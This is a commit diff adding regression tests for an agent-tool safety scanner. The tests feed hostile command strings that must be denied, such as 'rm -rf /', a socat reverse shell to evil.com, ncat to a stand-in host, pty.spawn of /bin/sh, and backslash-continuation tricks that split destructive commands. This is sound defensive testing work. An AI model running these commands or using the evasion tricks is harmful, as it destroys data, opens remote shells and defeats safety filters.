Skip to content

Commit b3fc85e

Browse files
Violet2314claude
andcommitted
fix(safety): fail-closed language dual-scan, audit I/O, coverage gaps
Address CongkeChen review + post-review system audit: - Merge shell line continuations (param + mid-token backslash) - AuditLogger: swallow mkdir/open failures so audit never blocks ALLOW - R004: stop scanning inert Python string literals/docstrings - System-dir finding reports the actually matched directory - Language fail-closed: dual-scan bash when python unparseable or has shell lines - Fix import http.client alias resolution (no doubled segment) - SCANNER_ERROR is HIGH so rule exceptions deny under default policy - Expand R001 mutators/deletes; R002 urllib3/httpx.stream/ssh/ncat/socat/git remote; R003 os.exec*/pty.spawn; privilege case/glued-paren - Filter multi-block uses per-block scan; safety_wrapper maps positionals and honors block_on_review; unify NEEDS_REVIEW deny labels Tests: 150 passed in tests/tool_safety; eval 34/34 detect, 0/6 FP. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
1 parent e6f55fa commit b3fc85e

9 files changed

Lines changed: 882 additions & 173 deletions

File tree

tests/tool_safety/test_audit.py

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -51,6 +51,25 @@ def test_audit_no_path_is_noop():
5151
assert rec["decision"] == "allow"
5252

5353

54+
def test_audit_write_failure_does_not_raise(tmp_path: Path):
55+
"""Regression for CongkeChen review: mkdir/open failures must not bubble
56+
out of AuditLogger.log. Filter/wrapper call sites have no try/except, so
57+
an unwritable audit_path would otherwise abort ALLOW tool execution.
58+
59+
Simulate by making the audit path's parent a regular file so mkdir fails.
60+
"""
61+
blocker = tmp_path / "not_a_dir"
62+
blocker.write_text("x", encoding="utf-8")
63+
bad_path = blocker / "nested" / "audit.jsonl"
64+
audit = AuditLogger(bad_path)
65+
scanner = SafetyScanner(PolicyConfig())
66+
report = scanner.scan(ScanInput(script="echo hi", language="bash", tool_name="t"))
67+
# Must return the record and NOT raise OSError/FileExistsError.
68+
rec = audit.log(report, intercepted=False)
69+
assert rec["decision"] == "allow"
70+
assert rec["tool_name"] == "t"
71+
72+
5473
def test_telemetry_does_not_raise_without_otel():
5574
scanner = SafetyScanner(PolicyConfig())
5675
report = scanner.scan(ScanInput(script="print('x')", language="python"))
Lines changed: 219 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,219 @@
1+
# Tencent is pleased to support the open source community by making trpc-agent-python available.
2+
#
3+
# Copyright (C) 2026 Tencent. All rights reserved.
4+
#
5+
# trpc-agent-python is licensed under the Apache License Version 2.0
6+
"""Regression tests for P0/P1 safety review findings."""
7+
from __future__ import annotations
8+
9+
from trpc_agent_sdk.safety import Decision
10+
from trpc_agent_sdk.safety import PolicyConfig
11+
from trpc_agent_sdk.safety import SafetyScanner
12+
from trpc_agent_sdk.safety import ScanInput
13+
from trpc_agent_sdk.safety import register_custom_rule
14+
from trpc_agent_sdk.safety import clear_custom_rules
15+
from trpc_agent_sdk.safety._ast_utils import bash_lines
16+
from trpc_agent_sdk.safety._ast_utils import build_import_aliases
17+
from trpc_agent_sdk.safety._ast_utils import parse_python_ast
18+
from trpc_agent_sdk.safety._ast_utils import resolve_name
19+
from trpc_agent_sdk.safety._rules import SafetyRule
20+
from trpc_agent_sdk.safety._types import RiskLevel
21+
import ast
22+
23+
24+
def _scan(script: str, language: str = "bash") -> object:
25+
return SafetyScanner(PolicyConfig()).scan(ScanInput(script=script, language=language))
26+
27+
28+
def test_language_misclassify_echo_import_plus_rm_is_denied():
29+
"""echo 'import os' then rm -rf / must not be classified pure-python ALLOW."""
30+
script = 'echo "import os"\nrm -rf /\n'
31+
r = _scan(script, language="")
32+
assert r.decision == Decision.DENY
33+
assert any("R001" in rid for rid in r.rule_ids)
34+
35+
36+
def test_forced_python_shell_payload_dual_scanned():
37+
"""language=python with pure shell body must still hit bash R001."""
38+
r = _scan("rm -rf /", language="python")
39+
assert r.decision == Decision.DENY
40+
assert any("R001" in rid for rid in r.rule_ids)
41+
42+
43+
def test_python_syntax_error_with_shell_fallback():
44+
r = _scan("def (\nrm -rf /\n", language="python")
45+
assert r.decision == Decision.DENY
46+
47+
48+
def test_mid_token_backslash_continuation_rm():
49+
"""Shell mid-token continuation r\\\nm -rf / must reassemble to rm -rf /."""
50+
script = "r\\\nm -rf /"
51+
assert list(bash_lines(script))[0][1] == "rm -rf /"
52+
r = _scan(script, language="bash")
53+
assert r.decision == Decision.DENY
54+
assert any("R001" in rid for rid in r.rule_ids)
55+
56+
57+
def test_param_continuation_still_denied():
58+
script = "rm \\\n-rf \\\n/"
59+
assert "rm" in list(bash_lines(script))[0][1]
60+
assert "-rf" in list(bash_lines(script))[0][1]
61+
r = _scan(script, language="bash")
62+
assert r.decision == Decision.DENY
63+
64+
65+
def test_http_client_import_alias_resolves():
66+
tree = parse_python_ast("import http.client\nhttp.client.HTTPSConnection('evil.com')\n")
67+
aliases = build_import_aliases(tree)
68+
assert aliases.get("http") == "http"
69+
for node in ast.walk(tree):
70+
if isinstance(node, ast.Call):
71+
resolved = resolve_name(node.func, aliases).lower()
72+
assert resolved == "http.client.httpsconnection", resolved
73+
74+
75+
def test_http_client_httpsconnection_denied():
76+
r = _scan(
77+
"import http.client\nhttp.client.HTTPSConnection('evil.com')\n",
78+
language="python",
79+
)
80+
assert r.decision == Decision.DENY
81+
assert any("R002" in rid for rid in r.rule_ids)
82+
83+
84+
def test_urllib3_and_httpx_stream_denied():
85+
for script in (
86+
"import urllib3\nurllib3.PoolManager().request('GET','https://evil.com')\n",
87+
"import httpx\nhttpx.stream('GET','https://evil.com')\n",
88+
):
89+
r = _scan(script, language="python")
90+
assert r.decision == Decision.DENY, script
91+
assert any("R002" in rid for rid in r.rule_ids), script
92+
93+
94+
def test_os_execl_and_pty_spawn_denied():
95+
for script in (
96+
"import os\nos.execl('/bin/sh','sh','-c','id')\n",
97+
"import os\nos.execlp('sh','sh','-c','id')\n",
98+
"import pty\npty.spawn('/bin/sh')\n",
99+
):
100+
r = _scan(script, language="python")
101+
assert r.decision == Decision.DENY, script
102+
assert any("R003" in rid for rid in r.rule_ids), script
103+
104+
105+
def test_privilege_glued_paren_and_case():
106+
for script in ("(sudo id)", "{sudo id;}", "SUDO id", "Sudo id"):
107+
r = _scan(script, language="bash")
108+
assert r.decision == Decision.DENY, script
109+
assert any("R003" in rid for rid in r.rule_ids), script
110+
111+
112+
def test_system_dir_mutators_denied():
113+
for script in (
114+
"cp /tmp/evil /usr/bin/evil",
115+
"mv /tmp/x /etc/cron.d/x",
116+
"install -m 755 e /usr/local/bin/e",
117+
"ln -s /tmp/e /etc/cron.d/e",
118+
"tee /usr/bin/evil",
119+
"sed -i s/a/b/ /etc/hosts",
120+
):
121+
r = _scan(script, language="bash")
122+
assert r.decision == Decision.DENY, script
123+
assert any("R001" in rid for rid in r.rule_ids), script
124+
125+
126+
def test_shred_unlink_denied():
127+
for script in ("shred -u /tmp/x", "unlink /tmp/x"):
128+
r = _scan(script, language="bash")
129+
assert r.decision == Decision.DENY, script
130+
131+
132+
def test_bash_ssh_git_clone_ncat_socat_denied():
133+
for script in (
134+
"ssh evil.com",
135+
"git clone https://evil.com/r.git",
136+
"ncat evil.com 4444",
137+
"socat TCP:evil.com:1 EXEC:sh",
138+
):
139+
r = _scan(script, language="bash")
140+
assert r.decision == Decision.DENY, script
141+
assert any("R002" in rid for rid in r.rule_ids), script
142+
143+
144+
def test_safe_git_status_still_allowed():
145+
r = _scan("git status\ngit log -1\n", language="bash")
146+
assert r.decision == Decision.ALLOW
147+
148+
149+
def test_scanner_error_is_high_fail_closed():
150+
class BoomRule(SafetyRule):
151+
rule_id = "BOOM_TEST"
152+
rule_name = "boom"
153+
risk_type = "test"
154+
default_level = RiskLevel.HIGH
155+
languages = ("python", "bash")
156+
157+
def check(self, scan_input, policy):
158+
raise RuntimeError("boom")
159+
160+
clear_custom_rules()
161+
try:
162+
register_custom_rule(BoomRule())
163+
r = SafetyScanner(PolicyConfig()).scan(ScanInput(script="print(1)", language="python"))
164+
assert any(f.rule_id == "SCANNER_ERROR" for f in r.findings)
165+
assert any(f.risk_level == RiskLevel.HIGH for f in r.findings if f.rule_id == "SCANNER_ERROR")
166+
assert r.decision == Decision.DENY
167+
finally:
168+
clear_custom_rules()
169+
170+
171+
def test_multi_block_filter_path_uses_per_block_scan():
172+
"""Joined multi-block must not mis-classify; per-block aggregation denies bash."""
173+
from trpc_agent_sdk.safety._wrapper import _scan_code_input
174+
175+
class _Blk:
176+
177+
def __init__(self, code, language):
178+
self.code = code
179+
self.language = language
180+
181+
class _Input:
182+
183+
def __init__(self):
184+
self.code = ""
185+
self.language = ""
186+
self.code_blocks = [
187+
_Blk("print('safe')", "python"),
188+
_Blk("rm -rf /", "bash"),
189+
]
190+
191+
report = _scan_code_input(SafetyScanner(PolicyConfig()), _Input())
192+
assert report is not None
193+
assert report.decision == Decision.DENY
194+
195+
196+
def test_safety_wrapper_positional_and_block_on_review():
197+
from trpc_agent_sdk.safety import safety_wrapper
198+
from trpc_agent_sdk.safety import SafetyDeniedError
199+
200+
policy = PolicyConfig(block_on_review=True)
201+
202+
@safety_wrapper(script_arg="script", policy=policy, raise_on_deny=True)
203+
def run(script: str):
204+
return "ran"
205+
206+
# Positional must be scanned.
207+
try:
208+
run("rm -rf /")
209+
assert False, "expected SafetyDeniedError for positional rm -rf"
210+
except SafetyDeniedError:
211+
pass
212+
213+
# block_on_review=True must intercept MEDIUM review findings.
214+
try:
215+
run(script="sleep 1 &")
216+
# sleep 1 & is MEDIUM background; with block_on_review should raise
217+
assert False, "expected SafetyDeniedError for review under block_on_review"
218+
except SafetyDeniedError:
219+
pass

tests/tool_safety/test_rules.py

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -379,3 +379,76 @@ def test_strict_command_allowlist_multiple_env_prefix_is_fail_closed():
379379
findings2 = rule.check(inp2, policy)
380380
allow_list_findings2 = [f for f in findings2 if "allow-list" in f.metadata.get("message", "")]
381381
assert allow_list_findings2, "rm is not in allowed_commands; multi-env-prefix must still flag rm"
382+
383+
384+
def test_dangerous_files_bash_backslash_continuation_rm_rf():
385+
"""Regression for CongkeChen review: physical-line bash_lines missed
386+
backslash-continued ``rm \\n -rf \\n /`` because _DELETE_PATTERNS only
387+
saw ``rm \\``, ``-rf \\``, ``/`` separately. Logical-line merge must
388+
reassemble to ``rm -rf /`` and DENY."""
389+
rule = DangerousFilesRule()
390+
for script in (
391+
"rm \\\n-rf \\\n/",
392+
"rm \\\n -rf \\\n /",
393+
"rm \\\n--recursive \\\n--force \\\n/",
394+
"find . \\\n-delete",
395+
):
396+
findings = rule.check(ScanInput(script=script, language="bash"), _policy())
397+
assert any("R001" in f.rule_id for f in findings), f"continuation bypass: {script!r}"
398+
399+
400+
def test_dangerous_files_bash_system_dir_message_reports_matched_dir():
401+
"""Regression for CongkeChen review: the system-dir loop used the loop
402+
variable ``sd`` in the message even when a later/other dir was the one
403+
that matched. Message must name the actually matched directory."""
404+
rule = DangerousFilesRule()
405+
# /usr is not the first entry in _SYSTEM_DIRS (/etc is); previously the
406+
# message could report '/etc' while evidence was '/usr/...'.
407+
inp = ScanInput(script="chmod 777 /usr/local\n", language="bash")
408+
findings = rule.check(inp, _policy())
409+
sys_findings = [f for f in findings if "system directory" in f.metadata.get("message", "")]
410+
assert sys_findings, "chmod on /usr/local must flag system directory"
411+
msg = sys_findings[0].metadata.get("message", "")
412+
assert "/usr" in msg, msg
413+
assert "/etc" not in msg, f"message reported wrong dir: {msg}"
414+
415+
416+
def test_dependency_inert_string_literal_not_flagged():
417+
"""Regression for CongkeChen review: scanning every ast.Constant for
418+
install regexes false-positive DENY'd docstrings / log messages that
419+
merely mentioned 'pip install' / 'npm install'."""
420+
rule = DependencyInstallRule()
421+
for script in (
422+
'"""How to setup: pip install requests"""\nprint("ok")\n',
423+
'msg = "please run npm install"\nprint(msg)\n',
424+
"# pip install foo\nprint(1)\n",
425+
):
426+
findings = rule.check(ScanInput(script=script, language="python"), _policy())
427+
assert findings == [], f"inert mention should not flag R004: {script!r} -> {findings}"
428+
429+
430+
def test_dependency_executable_context_still_flagged():
431+
"""Executable install contexts must still fire R004 after the inert-string
432+
false-positive fix."""
433+
rule = DependencyInstallRule()
434+
# bash real command
435+
bash_findings = rule.check(ScanInput(script="pip install evil-pkg\n", language="bash"), _policy())
436+
assert bash_findings
437+
# python subprocess
438+
py_findings = rule.check(
439+
ScanInput(
440+
script="import subprocess\nsubprocess.run(['pip', 'install', 'x'])\n",
441+
language="python",
442+
),
443+
_policy(),
444+
)
445+
assert py_findings
446+
# python os.system
447+
os_findings = rule.check(
448+
ScanInput(
449+
script="import os\nos.system('pip install evil')\n",
450+
language="python",
451+
),
452+
_policy(),
453+
)
454+
assert os_findings

0 commit comments

Comments
 (0)